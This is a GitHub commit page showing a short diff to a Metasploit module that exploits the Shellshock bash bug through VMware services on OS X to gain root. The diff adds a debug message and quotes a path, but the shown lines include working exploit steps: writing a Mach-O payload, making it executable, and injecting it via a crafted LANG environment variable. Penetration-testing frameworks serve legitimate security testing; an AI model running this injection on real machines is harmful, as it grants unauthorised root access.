Skip to content

Commit 8cb4ed4

Browse files
committed
re-add quotes -oops
1 parent 6fb587e commit 8cb4ed4

File tree

1 file changed

+2
-1
lines changed

1 file changed

+2
-1
lines changed

modules/exploits/osx/local/vmware_bash_function_root.rb

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -72,10 +72,11 @@ def exploit
7272
exe = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
7373
write_file(payload_file, exe)
7474
register_file_for_cleanup(payload_file)
75+
print_status("Got here")
7576
cmd_exec("chmod +x #{payload_file}")
7677

7778
print_status("Running VMWare services...")
78-
cmd_exec("LANG='() { :;}; #{payload_file}' #{datastore['VMWARE_PATH']}#{path} /dev/random")
79+
cmd_exec("LANG='() { :;}; #{payload_file}' '#{datastore['VMWARE_PATH']}#{path}' /dev/random")
7980
end
8081

8182
end

0 commit comments

Comments
 (0)